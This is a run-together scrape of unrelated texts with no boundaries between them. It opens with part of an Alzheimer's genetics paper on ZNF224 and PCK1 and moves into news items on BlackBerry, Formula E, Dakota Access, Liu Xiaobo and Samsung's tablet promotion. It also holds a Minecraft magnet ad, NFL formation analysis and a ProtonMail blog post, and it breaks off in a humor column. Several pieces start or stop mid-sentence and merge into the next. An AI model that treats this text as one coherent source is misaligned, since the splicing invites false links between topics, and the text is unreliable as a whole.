We initially tested for associations between each of the 34 polymorphisms and our two primary outcomes, intermediate phenotypes representing a measure of global AD pathologic burden on autopsy and a measure of global cognitive function proximate to death ( ). Linear regression models were used to examine the relation of SNP genotypes to the quantitative neuropathologic and cognitive traits in a 2 degree-of-freedom statistical test, adjusting for the effects of age at death, gender, and years of education. As expected, APOE ε4 was significantly associated with both cognition (p = 3.4×10 −10 ) and AD pathology (p = 1.6×10 −24 ) in our cohort, whereas an association with APOE ε2 was only seen for the pathological phenotype (p = 9.1×10 −4 ). In addition, we found associations with AD intermediate phenotypes for two SNPs, within the zinc finger protein 224 (ZNF224) and phosphoenolpyruvate carboxykinase 1 (PCK1) genes, both of which were selected for genotyping based on their identification in AD case/control GWA studies [6], [10]. The ZNF224 SNP (rs3746319) was associated with both global cognition (p = 0.009) and global AD pathology (p = 0.004). In contrast, the PCK1 SNP (rs8192708) was significantly associated with global cognition (p = 3.57×10 −4 ) but not global AD pathology (p = 0.056), suggesting that this locus may influence cognitive impairment through mechanisms other than AD pathology. Besides APOE ε4, none of the SNP associations surpass the currently accepted threshold for genome-wide significance (p<5.0×10 −8 ); however, the association between PCK1 and global cognition exceeds a Bonferroni-corrected significance threshold of p<0.001 for 34 independent tests. Given the high correlation between the pathologic and cognitive traits, applying an adjustment for 68 tests would be overly conservative; however, the PCK1 association still exceeds that standard (p<7×10 −4 ).
Discussion
In this study, by genotyping a panel of loci within two cohorts of subjects with detailed cognitive and neuropathological characterization, we evaluate intermediate phenotypes as a tool for the functional dissection of candidate AD susceptibility loci. Using the extensively validated APOE locus, we previously demonstrated that intermediate traits enhance statistical power to detect associations, even in studies of modest sample size. Here, using the same strategy, we present evidence supporting the possible role of two additional loci in influencing age-related cognitive decline and AD neuropathology. Specifically, the ZNF224 locus is associated with a quantitative measure of global AD pathology, and both ZNF224 and PCK1 are associated with a summary measure of global cognition proximate to death. Using separate quantitative traits for each of the predominant AD pathological features, we document associations between GALP and PCK1 and diffuse and neuritic plaque pathology, respectively, whereas ZNF224 showed a relatively selective association with neurofibrillary tangle pathology. Finally, in a series of statistical mediation analyses, we tested hypotheses about the causal chain of events linking genetic variation in the ZNF224 and PCK1 loci with cognitive decline, with strikingly different outcomes. In the case of ZNF224, we find that AD pathology, and more specifically, neurofibrillary tangles mediate an association with cognitive impairment. In contrast, we find that the association between PCK1 and cognition is largely independent of not only AD pathology, but also Lewy bodies, and infarcts, which together comprise the three most common known brain pathologies associated with dementia [39], [43].
Both ZNF224 and PCK1 were initially implicated by AD GWA studies; however, neither locus has yet been consistently replicated in subsequent genetic studies, and little is known about their potential mechanism of action in disease pathogenesis. The ZNF224 locus encodes a Kruppel-associated box-containing zinc-finger protein that is widely expressed, including in the adult brain, and likely functions as a transcriptional repressor [44], [45]. The SNP evaluated in this study, rs3746319, encodes a missense mutation causing a Lys to Glu change at position 640, which falls near the C-terminus within one of 19 zinc-finger repeat motifs. However, we do not yet know enough about ZNF224 protein structure and function to speculate further on how this variant might promote neurofibrillary tangle formation and subsequent cognitive impairment, and further investigation will be required to determine if rs3746319 is the causal variant and whether ZNF224 is indeed the causal gene. The PCK1 gene encodes phosphoenolpyruvate carboxykinase 1, which catalyzes the rate-limiting step of gluconeogenesis [46]. The SNP genotyped in our study, rs8192708, is also a missense mutation, causing an Ile to Val change at position 267; however, the functional consequences of this change, if any, are not known. PCK1 variants have also been suggested to be associated with diabetes [40]–[42], and independently, diabetes has been identified as a risk factor for the development of dementia [31]. In our mediation analysis, adjusting for the effect of diabetes diagnosis did not account for the association of PCK1 and cognitive impairment; however, it is possible that an appropriate intermediate phenotype, such as direct measurements of blood glucose or hemoglobin A1c, might allow detection of mediation. In another study performed in the same cohort, a relation was found between diabetes and infarcts [47]; however, we were also unable to mediate the PCK1 association by including a model term for cerebral infarctions. Our finding that the PCK1 association with cognitive decline is not explained by AD pathology, Lewy bodies, or infarcts suggests that this locus might influence additional, unmeasured pathologies. For example, whereas our analyses adjusted for macroscopic infarcts, PCK1 may instead primarily influence microscopic forms of cerebrovascular injury. Further, while our intermediate pathologic phenotype accounts for amyloid plaques and neurofibrillary tangles, it does not capture levels of soluble, but potentially still neurotoxic, forms of amyloid or tau pathology [48], [49]. Alternatively, variation at PCK1 might influence one or multiple steps in the cascade of events predicted to occur downstream of amyloid, tangles and other pathologies, such as synapse loss, inflammation, and/or cell death pathways.
Unexpectedly, the variants in ZNF224 and PCK1 show opposite directions of allelic effects for association with AD intermediate phenotypes in our cohort compared to their association with AD diagnosis in the initial GWA studies. In other words, the alleles associated with increased AD risk in the initial reports (rs3746319G and rs8192708G) are actually protective against cognitive decline in our cohort. Importantly, this discrepancy is not accounted for by our use of intermediate phenotypes, as the ZNF224 and PCK1 SNPs show consistent direction of affect on AD diagnosis in our study population ( ). Such “flip-flop” associations have been reported with increasing frequency as GWA scans are completed for many common diseases, and replication efforts are subsequently undertaken [50]. Indeed, in the case of PCK1, two prior replication studies found evidence that the major allele, rs8192708A, may increase risk for dementia, consistent with our results suggesting an association between this allele and both cognitive decline and AD [4], [38].
The interpretation of reversals in the direction of variant associations between different study cohorts remains controversial [50]. The most common explanation for such observations are that they are in fact spurious and representative of chance fluctuations around the null hypothesis. However, in our study, the strongly suggestive statistical evidence for the associations between ZNF224 and PCK1 with AD intermediate phenotypes makes their arising by chance less likely; and additionally, the reversals of allelic effect are seen with both loci in our analysis. Instead, we propose that differences in subject ascertainment and recruitment are more likely to be responsible for our observations. The Religious Orders Study (ROS) and Rush Memory and Aging Project (MAP), from which our study cohort is based, are prospective, longitudinal studies in which subjects from the community are recruited non-demented at baseline (mean age = 75 and 79, for ROS and MAP respectively). All cases of clinical AD are therefore incident within our cohort. In contrast, similar to nearly all AD GWA studies performed to date, the initial reports of association with the PCK1 and ZNF224 loci come from AD cases recruited from a neurology clinic population with prevalent dementia. In addition, whereas subjects in our study were recruited at approximately similar ages to the GWA cohorts, they were significantly older at the time of last clinical evaluation and autopsy (mean age of death = 87). Studies with different designs (cross-sectional vs. prospective) and varying methods of subject ascertainment can generate contradictory epidemiological findings, for example due to survival bias. If an AD risk allele is associated with earlier age of dementia onset; it might be under-represented in the prospective cohort, which requires subjects to be non-demented at enrollment; and therefore, might subsequently appear to be a protective allele. “Flip-flop” associations might additionally arise from variation in linkage disequilibrium structure in the genomic region of interest between the cohorts in different studies. In fact, both the ZNF224 and PCK1 SNPs fall under modest recombination peaks, based on HapMap data [51]. Although both our study and the GWA analyses were conducted in subjects of European ancestry, it remains possible that sampling variation between two populations of similar ethnicity might lead to the association reversal that we have observed, as recombination could distribute our tag SNP onto haplotypes that are different from that harboring the causal variant [50]. Ultimately, further analysis of both SNPs and fine mapping of each locus in larger study samples will be required to validate both PCK1and ZNF224 as AD susceptibility loci, and resolve which allele may increase risk for disease.
Of the thirty-four SNPs evaluated in our study, both of the loci that we found to be associated with AD intermediate phenotypes were initially identified by GWA studies, suggesting the power of this unbiased approach to identify genes that might be overlooked by prevailing hypotheses of disease biology. Our study was initiated prior to the recent report of two large AD case/control GWA studies which independently identified three new susceptibility genes, CLU, CR1, and PICALM [15], [16]. In a parallel effort, we recently found that CR1 is associated with age-related cognitive decline in our study cohorts; and further, that this association was mediated by an effect on amyloid pathology (Chibnik et al., submitted). The power of a GWA study design and the types of genes one expects to discover are tightly linked to the selected phenotypic outcome. To the extent possible, the chosen outcome measure should be closely matched to the underlying biology responsible for the heritable trait variation of interest. In autopsy cohort studies of aged individuals in the community setting, most subjects with probable AD demonstrate multiple brain pathologies [52]. Based on our results, we believe that intermediate pathological and cognitive traits have great promise to enhance gene discovery and for functional characterization of loci that emerge from current AD GWA studies.In August, Microsoft announced that Delta Airlines would be giving all 19,000 of its flight attendants Nokia Lumia 820 smartphones to use for customer service while on board the company's aircraft. Now there's word that those same employees will be getting a nice hardware upgrade in the near future.
During Microsoft's Convergence conference in Atlanta last week, Delta announced plans to swap out the Lumia 820 for the 6-inch 1520 smartphone from Nokia. ITBusiness.ca reports that while the 820 devices could take drink and meal orders from passengers in-flight, the larger 1520 model can be used for other services such as selling instant seat upgrades on the plane. Delta uses Microsoft's Dynamics AX backend software for its retail operations.
The smartphones will also be able to record credit card info from passengers and then send that data down to the ground while in flight, via Gogo's Wi-Fi service, to see if the card is valid. Previously, Delta took a passenger's credit card info but could not check to see if it was correct until the plane ended its flight.
Delta's pilots are already using another Microsoft hardware product, the Surface 2 tablet, as their permanent replacement for their old paper flight handbook.
Source: ITBusiness.ca | Image via MicrosoftBlackBerry agreed in principle Monday to be acquired by Fairfax Financial, a Canadian insurance company, for $9 a share in a deal worth $4.7 billion in US dollars.
Fairfax Financial, sometimes called the Berkshire Hathaway of Canada, is a holding company whose primary business is in insurance. It is also BlackBerry's largest shareholder, owning about 10 percent of the company's common shares.
BlackBerry now enters a shop period for about six weeks where it can solicit, receive and enter into negotiations with other interested parties. If another buyer offers more than $9 a share during the shop period, then Fairfax would receive an incentive fee of about $157 million for attracting interest in the company. More details are expected on November 4, when the "diligence period" ends.
It should also be noted that Fairfax is still trying to raise the financing for the deal from BofA Merrill Lynch and BMO Capital Markets and is not obligated to follow through on an actual definitive agreement.
"At least they have one bid on the table. It would be an excellent thing for Blackberry to be able to go private, out of the public eye and to try and reshape itself and see if they can go forward market as an enterprise focused company," said Colin Gillis, an analyst at BGC Partners, on CNBC's Squawk on the Street, on Monday.
Trading in BlackBerry was halted before the announcement. When it resumed at 2 p.m. EDT, the stock jumped as much as 5 percent before retreating slightly. Prior to the announcement shares in the troubled smartphone maker company were down more than 5 percent.
News of BlackBerry's buyout offer comes just after the company announced on Friday a massive restructuring, which includes slashing 4,500 jobs, and a revised forecast for its second-quarter earnings.
(Read more: BlackBerry to slash 4,500 jobs in restructuring )
The company said it expects a second-quarter loss excluding items of 47 cents to 51 cents per share, which is more than the 27-cent loss per share in the same quarter last year. It also expects revenue to decline to $2.6 billion from $3.1 billion a year ago.Punching your refrigerator will NOT give you milk! Two colorful magnetic sheets
80 1" square blocks on each sheet
Useful for pinning up pictures of Notch
It's late. You can hear the zombies outside the castle walls, but you've got to keep on digging because... Well, because digging is the whole point, right? But then you get hungry in the real world. Your stomach gurgles and complains. Now you'll have to get up and walk all the way to the kitchen to get some food! You might even need to use the microwave, or worse, THE STOVE. Agony!
Though we do offer a variety of caffeinated delights that might tide you over, we haven't come up a magic porkchop to keep you fueled through hours of heavy mining and exploring. However, we can offer you some amazing Minecraft Refrigerator Magnets to help alleviate the drudgery of feeding your body.
In each pack of Minecraft Refrigerator Magnets, you will receive two magnetic sheets packed with 80 colorful, classic blocks. Use the magnets to hold up printouts of treasured screenshots of your vacation on that island covered with snow. Share your schematics for your next fortress with the whole family. Or play a rousing game of "name that data value!"
Just remember that no matter how tempting it might be, punching your refrigerator will not give you milk. You need a bucket for milk, silly!
Product SpecificationsBrazil is known to be an attractive location for the all-electric championship and could run as a back-to-back with the Buenos Aires ePrix, which traditionally runs in January/February.
"It is a priority to run in Brazil," Agag told Brazilian magazine Grande Premio.
"We are in talks with a number of potential host cities at the moment. I think it's very possible to see us running in Brazil maybe next season, or more likely in the fifth season."
Last season's runner-up Lucas di Grassi has been pushing to have a home race on the calendar, and presented a possible circuit layout in the Ibirapuera Park area of Sao Paulo to series officials.
Ibirapuera is one of Latin America's biggest parks, and a popular location for sports in Sao Paulo. The layout of the track that di Grassi proposes would race around the park's main lake (pictured above).
"I have drawn out a track and now we try to make something happen," di Grassi told Motorsport.com.
"The prospects are exciting not only for me but also the race fans of Brazil, it would be a great highlight for me to be able to race in my home city again."
While the Ibirapuera location is one of several under consideration, a Brazilian ePrix is more likely only for the early months of 2019, when the championship will have started its fifth season.
2017/18 calendar could start in December
Meanwhile, Formula E's fourth season could start as late as December, with Hong Kong remaining the series' favoured option for the opening round.
The electric single-seater series' 2016/17 schedule was compromised when it locked its Hong Kong curtain-raiser into an early October slot.
It added a race in Marrakech at the start of November, but could not fill a three-month break between rounds two and three that comes to an end next month in Buenos Aires.
"We won't be racing in Hong Kong in October again," Agag told Motorsport.com's sister title Autosport.
"We want Hong Kong [as the opening round], we're looking at delaying it until late November or even the first weekend of December.
"And then we'll pack the calendar much more, with much more racing in January and February. Formula 1 and the other championships are going up to November, so December may fit well."North Dakota Gov. Jack Dalrymple (R) is ordering an immediate evacuation of the camp hosting people protesting against the Dakota Access oil pipeline.
Dalrymple issued an executive order for the evacuation late Monday, citing the state’s concern over expected harsh weather during the winter.
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“Any person who chooses to enter, reenter, or stay in the evacuation [area] does so at their own risk, and assumes any and all corresponding liabilities for their unlawful presence and occupation of the evacuation area,” Dalrymple wrote in the order.
The order comes three days after the United States Army Corps of Engineers, which owns the land that hosts the protest site and is responsible for the decision on whether to permit the Dakota Access project’s developer to build under Lake Oahe, said it would close the federal land to protesters Dec. 5.
Dalrymple spokesman Jeff Zent told the Forum of Fargo-Moorhead that the state will not forcibly remove protesters.
The Army Corps made a similar caveat in its own evacuation order.
Members of the Standing Rock Sioux tribe, along with other American Indians, environmentalists and others have been at the protest site for months and have prepared to stay there through the winter.
They’re trying to prevent the Army Corps from issuing the Lake Oahe easement, the final approval Energy Transfer Partners needs to finish the project. The protests and clashes with law enforcement have turned violent numerous times.
Opponents say the project threatens the Standing Rock Sioux’s water supply and sites that they find sacred.
Energy Transfer, along with Dalrymple and other Republican leaders in the state, say that the claims are unfounded.Arnold Schwarzenegger on Saturday fired back at President Trump for mocking his departure from "Celebrity Apprentice."
"You should think about hiring a new joke writer and a fact checker," Schwarzenegger said in response to Trump's tweet.
You should think about hiring a new joke writer and a fact checker. https://t.co/SvAjuPdHfa — Arnold (@Schwarzenegger) March 4, 2017
Trump early Saturday hit Schwarzenegger’s decision to quit as host of “Celebrity Apprentice,” saying the Hollywood star was “fired” by ratings.
“Arnold Schwarzenegger isn't voluntarily leaving the Apprentice, he was fired by his bad (pathetic) ratings, not by me. Sad end to great show,” Trump tweeted.
Schwarzenegger on Friday said his first season hosting “Apprentice” as Trump’s replacement will also be his last.
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In remarks Friday, the former California governor cited President Trump, who has repeatedly mocked the ratings of his reality TV replacement, as his reason.
“Even if asked [to do it again] I would decline,” Schwarzenegger told Empire magazine. "I learned a lot, I had a great time, it was a really great opportunity. But under the circumstances, I don’t want to do it again.”
Schwarzenegger's ratings as host of "Apprentice" have lagged far behind Trump's, finishing the season last in its time slot among the four broadcast networks.
Despite still serving as executive producer, Trump has regularly mocked the drop in viewership.Queensland fisherman first in world first to win all six fishing royal grand slams
Posted
A Brisbane man has become the first person in the world to complete — and win — all six royal grand slams of game fishing.
Matt Price from Boondall, north of Brisbane, gained the record in July but had to recontest a category last month to confirm the world title.
To win the International Game Fishing Association (IGFA) royal grand slam, a fisherman must catch a variety of fish in six categories.
If Federer can cry when he wins a grand slam then I can do the same when I complete a royal slam. Royal slam fishing champion Matt Price
There were more than nine fish to catch in each category, which included freshwater species, shark, tuna, and salmon.
The International Game Fishing Association asked Mr Price to complete the billfish category again.
"No-one else in the world has done it, so I wanted to make sure it was legit and all done right," he said.
"Some of the fish were a pain in the neck to catch, with some fish taking eight different trips to three different countries to catch them."
It took Mr Price since 2008 to catch each of the fish needed to complete the grand slam.
"Catching the final fish was amazing; I got really emotional and was crying with happiness," Mr Price told 612 ABC Brisbane's Spencer Howson.
"If Federer can cry when he wins a grand slam, then I can do the same when I complete a royal grand slam."
To verify each catch, photographs and an affidavit were needed as proof.
Mr Price did not keep any of the fish he caught while chasing the title.
"I enjoy the fun of the fight, not the thrill of the kill," he said.
To catch each species, Mr Price had to travel across the world, including to the US and Venezuela.
"There was an American hot on my tail but I confirmed the other day that the other guy hasn't submitted any further catches," he said.
"I really wanted to be the first in the world to have all of the slams."
Cynthia Stevens, Mr Price's partner, was the first female and first visually-impaired person in the world to win an IGFA royal grand slam in the freshwater category.
Fishing for Freedom
Game fishing is a popular sport in America and Mr Price was already fielding calls from international media organisations.
He said he hoped the attention he would gain from being a "world-first" would allow him to raise money for his non-for-profit organisation, Fishing for Freedom.
The organisation takes people with disabilities and returned soldiers with post-traumatic stress disorder (PTSD) on fishing trips.
"I took a disabled guy out yesterday and a woman recently who didn't have any arms who was able to hold the rod with her foot," he said.
Mr Price said he also hoped corporate sponsors would buy space on his shirts and boat ahead of any appearance he may have on international television.
Topics: human-interest, international-competitions, disabilities, other-sports, brisbane-4000, venezuela, united-statesApple Inc. is once again in the pages of the People’s Daily, this time in an article listing a number of websites and app stores that have been investigated for providing pornographic content in China.
Agence France-Presse/Getty Images A man talks on an Apple iPhone in Beijing.
The Cupertino, Calif., company’s appearance on the list (in Chinese), which mostly includes relatively obscure websites, has spurred concern on the Chinese Internet that this may represent the beginning of another campaign by the government against Apple. But Apple’s most recent appearance in state media is
markedly different from the March attacks that prompted an apology from Chief Executive Tim Cook.
The People’s Daily article is not featured prominently in Wednesday’s paper, nor does it make efforts to emphasize Apple, which is listed next to the names of other app stores singled out in the middle of the second paragraph of the article. According to Apple’s terms of use, pornographic content is not allowed on its app store.Yesterday Labour’s Heidi Alexander, the MP who tried to block the triggering of Article 50 in January, confirmed that Remainers are seeking a permanent transition to prevent Brexit:
Richard Madeley: “Do you secretly hope that the four years turns to six years, and then eight years, and then ten years and then we just gradually drift into a kind of a half way house relationship?” Heidi Alexander: “I think that if there isn’t a better offer on the table then staying in the Single Market and Customs Union permanently would be the right thing for the country.”
A never-ending transition that keeps us in all the institutions of the EU and buys time for a second referendum has been telegraphed as the key Remain strategy since the turn of the year. As Guido wrote in January:
“Remainers see this as their golden chance. If the transition takes years, during which Britain remains in the single market, essentially in the EU, Remainers can buy time to argue for a second referendum or try to prevent a real Brexit.”
The ultra-Remain CBI proposed the same last month, consistent with the permanent transition plan. At the time we noted:
“One of the most senior Remain figures from the referendum told Guido himself they wanted a lengthy transition lasting years, by which point they hoped the public mood had changed and Brexit could be prevented.”
Now you are getting prominent Labour Remainers saying this publicly, from Heidi Alexander to Stewart Wood:
“I think if I was a Brexiter I’d be worried that over the next three of four years if a transition deal lasts that long that other circumstances will change and the will to move on from transition stage to full Brexit might be less present than it is now. I think that’s definitely a possibility.”
And Stephen Bush:
The thing about a transition is, the longer it goes, the less likely a government of what will be a majority-Remain country triggers it. — Stephen Bush (@stephenkb) August 27, 2017
Which is why the government must ensure the transition is strictly time-limited and as short as possible, ideally one or two years. Can’t say Remainers haven’t warned you…Richard J. Williams, Jr. (Photo: Delaware State Police)
A 46-year-old Wilmington man has been arrested in connection with a fight on a DART bus that led to a stabbing and caused minor injuries to a state police trooper.
Early Wednesday afternoon, state police were called to a Christiana Mall bus stop, which is where the stabbing occurred, said Master Cpl. Jeffrey Hale, a spokesman for the Delaware State Police.
Troopers were called to respond to the bus stop in front of the Nordstrom store at 1:55 p.m. for a report of a fight in which a male victim had been cut by a man who was armed with a knife. A man, later identified as Richard J. Williams Jr., had been at the bus stop when, for an unknown reason, he began to chase an unknown man while armed with a large serrated kitchen knife, according to a press release issued Thursday by the Delaware State Police.
The victim was able to flee the area without sustaining any injuries, but then Williams targeted a second victim, a 22-year-old man who was also standing at the bus stop, police said. Williams swung the knife at the victim, striking him on his hand and wrist, police said. Christiana Mall security staff who responded to the incident were able to keep Williams away from other potential victims until the arrival of the state police, who ordered him to drop the knife, according to the release.
Williams, however, ignored their commands and lunged at them with the knife, police said. Williams was taken into custody when other state police troopers and officers from the New Castle County Police arrived, and he was hit with a stun gun, according to the release.
The 22-year-old injured man also was removed from the scene by ambulance and transported to Christiana Hospital, where he was treated for his serious but non-life-threatening injuries. It is not believed that the victim was specifically targeted in this incident. A Delaware state trooper was also slightly injured during the struggle with Williams. He was also treated at the Christiana Hospital and released.
Williams also was taken to Christiana Hospital, where he was treated and released. He was taken to Troop 2, where he was charged with second-degree assault, possession of a deadly weapon during the commission of a felony, two counts of aggravated menacing, resisting arrest, offensive touching of a law enforcement officer and disorderly conduct. He was sent to the Howard Young Correctional Facility in lieu of $73,050 cash bail.
Read or Share this story: http://delonline.us/2jZ7414The latest Tab is thinner than the iPad. Or thicker. But at least we know it's beloved by New York actors.
At CTIA Wireless earlier this week, Samsung announced a new 10.1″ Galaxy Tab tablet–one with specs that made it thinner and lighter than the iPad 2, with the same starting price of $499. After the press event, I scurried over to the Samsung booth in hopes of getting some hands-on time with the new Tab.
When I got there, I found that the 10.1″ Tabs out on tables were the older, relatively portly version announced last month at Mobile World Congress. The new 10.1-incher (and its 8.9″ sibling) were inside glass cases, and they weren’t powered on. I also discovered that my friend Fritz Nelson of InformationWeek had beat me to the booth–and he told me that he was trying to get Samsung to give him a Tab he could hold and judge.
Looks like he succeeded–he’s published a CTIA tablet roundup that includes a couple of comparison shots of the iPad 2 and a prototype of the new 10.1″ Galaxy Tab–ones which he says show that the Tab–supposedly 8.6mm to the iPad 2’s 8.8mm–is very slightly thicker than the iPad 2. I guess we’ll figure out what the deal is when the Tab shows up in stores, which it’s supposed to do in June.
Me, I was confused about a different aspect of Samsung’s event, which you can watch here:
Much of it was devoted to video clips from the “Samsung Galaxy Tab Interview Project,” which the opening titles said took place on March 3rd in New York, and which was shown to involve inviting busy, successful New Yorkers to try the Galaxy Tab of their choice and share their opinions. The New Yorkers in question were identified as “freelance travel writer” Joan Hess, “independent film director” Karl Shefelman, and “CEO, leading New York real estate firm” Joseph Kolinksi.
As I watched the interviews, I noticed that Shefelman spoke and behaved more or less like a normal person, but Hess and Kolinksi came off as performers dressed for their parts and parroting Samsung talking points. I couldn’t tell whether we were supposed to take the clips as a documentary or a mockumentary. So I Googled around and couldn’t find any references to a travel-writing Joan Hess (one with, as she said, a following on Twitter) or a real-estate CEO Joseph Kolinski.
I did notice, however, that freelance travel writer Joan Hess bears a striking resemblance to New York actress Joan Hess:
And that real estate CEO Joseph Kolinski could be New York actor Joseph Kolinksi‘s twin brother:
Filmmaker Karl Shefelman, on the other hand, looks a lot like…filmmaker Karl Shefelman. Who works for a New York production company. One that’s done work for Samsung.
A thin, light Honeycomb tablet starting at $499 still sounds like a good idea to me. I just feel like it’s not clear whether Samsung has one that’s actually thinner than the iPad 2 yet, or whether it came up with the specs before it had a prototype to match them–and also decided to build its own happy Galaxy Tab users rather than find them in the wild.
[FURTHER THOUGHTS: Did Samsung mean for us to understand that these were imaginary users or not? The more I think about it, the more befuddled I get. The Raw Feed’s Mike Elgan points out that the company’s PR director earnestly described the “project” during the event in a way that made it sound real. And commenter Karl notes that Samsung referred to the users’ tales as “true-life stories.” But the bits with Hess and Kolinski are so profoundly artificial that they could have involved Madge the Manicurist and the Maytag Repairman. Actually, Kolinski seems to be channeling a certain real-life “leading New York real-estate CEO.”]
[ODD SIDELIGHT: Technologizer commenter Phil Earnhardt noticed another funny curiosity about the video that somehow escaped my attention, but really shouldn’t have.]
Read more:The bureau of justice of Shenyang announced Thursday night that cancer patient Liu Xiaobo has died from organ failure, despite emergency efforts.
Liu was given an 11-year sentence in 2009 for instigating subversion of State power. He was granted medical parole last month. The First Hospital of China Medical University where Liu was hospitalized invited top Chinese cancer experts to treat him, with doctors from the US and Germany participating in medical consultations. But his condition deteriorated quickly and he had been in a critical condition since Monday.
The |
). Against two-back formations, the addition of an extra defender gives the defense a numerical advantage at the point of attack, ensuring a free defender to the ball.
However, the deployment of multiple tight ends along the line of scrimmage nullifies that advantage and creates big-play opportunities in the run game.
For instance, if the offense aligns in an "Ace" formation, with the tight ends aligned at both ends to create a balanced formation, the defense is unable to gain an edge by dropping an eighth defender into the box. Without a free defender to run unimpeded to the ball carrier, the defensive coordinator must reconfigure the alignments of his front-line defenders to fill some of the gaps at the point of attack.
Offensive coordinators are also incorporating more "Tight-Wing" formations with both tight ends aligned on the same side to create an advantage in the running game. By aligning two tight ends on same side in a tight alignment, the defense is vulnerable on the edge (tight side) due to a potential double team by the ends on the outside force player.
In addition, the defense is also vulnerable to counters and traps to the open side (away from the tight end) with the Wing player pulling across the formation to kick out an unsuspecting defender on the interior. New England successfully used the tactic to spring their runners for big gains on inside runs, so others will certainly attempt to follow suit by incorporating more Tight Wing runs into their game plans.
2. Formation flexibility with "12" personnel poses problems defending the passing game.
One of the benefits of utilizing "12" personnel is the ability for the offense to utilize a variety of base and spread formations without shuttling different personnel into the game. The H-back plays the role of a fullback, wide receiver or second tight end in the package, aligning in various spots within the formation to create problems for the defense. Offensive coordinators are tapping into that versatility by featuring a variety of open formations with the tight end deployed as quasi-receivers. By opening the formation, the offensive coordinator makes it easy for the quarterback to diagnose the coverage and creates potential mismatches in space.
In the example below from the Patriots' Week 17 game against the Buffalo Bills, New England is in a "Dubs" formation with Gronkowski aligned in the slot on the right and Wes Welker in a stack position on the outside. On the left, Hernandez is in a stack alignment behind Tijuan Underwood in the slot. By displacing both tight ends away from the line, the Patriots are able to quickly identify the coverage based on the alignments of the linebackers and defensive backs. If the corners are matched up with the wide receivers, Tom Brady knows the Bills are locked in man coverage and he can audible to an effective route combination to exploit the scheme.
Offensive coordinators are also incorporating the use of "Empty" formations with "12" personnel to create favorable matchups. In the example from Super Bowl XLVI against the New York Giants, the Patriots emptied the formation with Deion Branch and Welker aligned on the left and BenJarvus Green-Ellis, Gronkowski and Hernandez deployed on the right. Hernandez is positioned as the No. 3 receiver to get an isolated matchup with Chase Blackburn over the middle of the field.
The route-design calls for clear-out routes from Welker and Gronkowski on the hashes, creating space for Hernandez to slip past Blackburn following a stutter move on an option route. With a new wave of athletic tight ends capable of winning isolated matchups, offensive coordinators around the league will continue to utilize spread formations to create big-play opportunities in the passing game.
3. The size and athleticism of the "move" tight end creates matchup problems for defensive coordinators.
As more teams start to incorporate double-tight end packages into their game plans, the H-back or "move" tight end becomes a bigger weapon in the passing game. Teams are adding basketball player-types at the position, and the combination of size and athleticism puts defensive coordinators in a quandary when determining how to match up with the package.
If the defense remains in base personnel, the H-back enjoys a significant advantage over a linebacker lacking the agility to stay close in coverage. If the defensive coordinator uses nickel personnel, the H-back uses his superior size to post up smaller defenders in space.
In the past, offensive coordinators would employ this tactic primarily in the red zone, but more play-callers are taking advantage of these matchups by aligning the tight end in a wide position to get him isolated on linebackers or defensive backs in space. The quarterback will capitalize on the matchup by targeting the tight end on fades (back-shoulder fades) and slants. Given the superior size advantage, this becomes a high-percentage throw that is nearly indefensible.
Teams like the Green Bay Packers and New Orleans Saints routinely utilize this tactic to get the ball into the hands of Jermichael Finley and Jimmy Graham, and others will certainly follow suit with athletic tight ends emerging as prominent playmakers in the passing game.
Follow Bucky Brooks on Twitter @BuckyBrooks.Rep. Paul Ryan (R-WI) is arguing that President Barack Obama’s health care reform law should be repealed because rights come from “nature and God,” not the government.
During an interview on ABC, former Massachusetts Sen. Ted Kennedy’s widow, Victoria Kennedy, told host George Stephanopoulos that the Supreme Court had made the right decision by upholding the Affordable Care Act.
“This health care reform was the cause of my husband’s life,” she explained. “He believed that it was a moral issue, that it defined the character of who we were as a society, who we were as a country, and that decent quality, affordable health care should be fundamental right and not a privilege.”
But Ryan rejected Kennedy’s assertion and promised to completely undo the law.
“We’re going to repeal the entire law and then we’re going to advance patient-centered reforms that address these kinds of issues,” the Wisconsin Republican said.
“I think this at the end of the day is a big philosophy difference,” he continued. “What Ms. Kennedy and others were saying is that this is a new government-granted right. We disagree with the notion that our rights come from government, that the government can now grant us and define our rights. Those are ours, they come from nature and God, according to the Declaration of Independence — a huge difference in philosophy.”
Watch this video from ABC’s This Week, broadcast July 1, 2012.Edit (November 2017): ProtonMail also appeared at the end of S03E08 (3.7dont-delete-me.ko). The last scene shows Elliot in his apartment where he checks his inbox and finds an email from Tr3nton, with the subject line “Don’t delete me”.
A few weeks back, we had hundreds of people informing us via Twitter that ProtonMail was being used by Elliot Alderson from this summer’s hit TV show, Mr. Robot. With the highly anticipated season finale airing tomorrow (8/26/2015), we are finally able to share the backstory behind how ProtonMail ended up in Mr. Robot.
ProtonMail was featured in Season 1 of Mr. Robot as the email service used by the main character, Elliot. While the email service used by Elliot might seem like a minor detail, the intensive discussions between our team and the Mr. Robot production team goes to highlight the extreme lengths the Mr. Robot producers have gone for realism.
We have seen many TV shows over the years try to depict hacking in one form or another. We can definitively conclude that Mr. Robot has some of the most realistic portrayals we have ever seen. A large part of our work in building the worlds most secure email service is indeed guarding against hacks of all kind so we have, you could say, some experience in this area.
When the team from Mr. Robot approached us in June, we were quite surprised that they had gone to the lengths of researching secure email services that a character like Elliot would use. This is, after all, a tiny detail that they could have ignored. More surprising though was that they had researched and understood the technical differentiators that make ProtonMail far more secure than other “encrypted” email services. It is hard enough to find people in Hollywood who understand email encryption (looking at you Sony), much less end-to-end encryption. The amount of research they had done was simply astounding.
The story gets far more interesting. Over the course of our discussions with the Mr. Robot team, they mentioned that a security focused person like Elliot would need a way to monitor his own email activity and they asked if this was something ProtonMail supported. Well, we do support this now, you can find the addition of monitoring (logging) in our latest 2.0 release. That’s right, the Mr. Robot team got so deep into their research that they made a product suggestion so good we built it for the hundreds of thousands of security conscious people who use our service.
This might be the first recorded case of Hollywood understanding cyber security and privacy so well they influence the development of security software. This attention to detail sets Mr. Robot apart from anything else on TV these days.
If you want to read more about ProtonMail on Mr. Robot, you can also check out this story on Wired which also features the rest of Elliot’s toolkit. We cannot reveal any details yet, but fans of ProtonMail and Mr. Robot will be happy to know that ProtonMail will be returning to season two of Mr. Robot.A recent poll found that a plurality of Americans think we'd be better off today if Congress was selected at random from the phone book. Now, you may share the notion that ordinary people tap into a vast wellspring of civic concern, common-sense judgment and pureness of heart. As a journalist who hears from these ordinary people all the time, I know better. They tap into a vast wellspring of Bud Lite. Basically.
I decided to ridicule the poll results by flipping through the phone book and randomly calling Joe and Jolene Lunchbuckets. I would ask them complex questions, with comical results.
Call 1: Remes, Robert
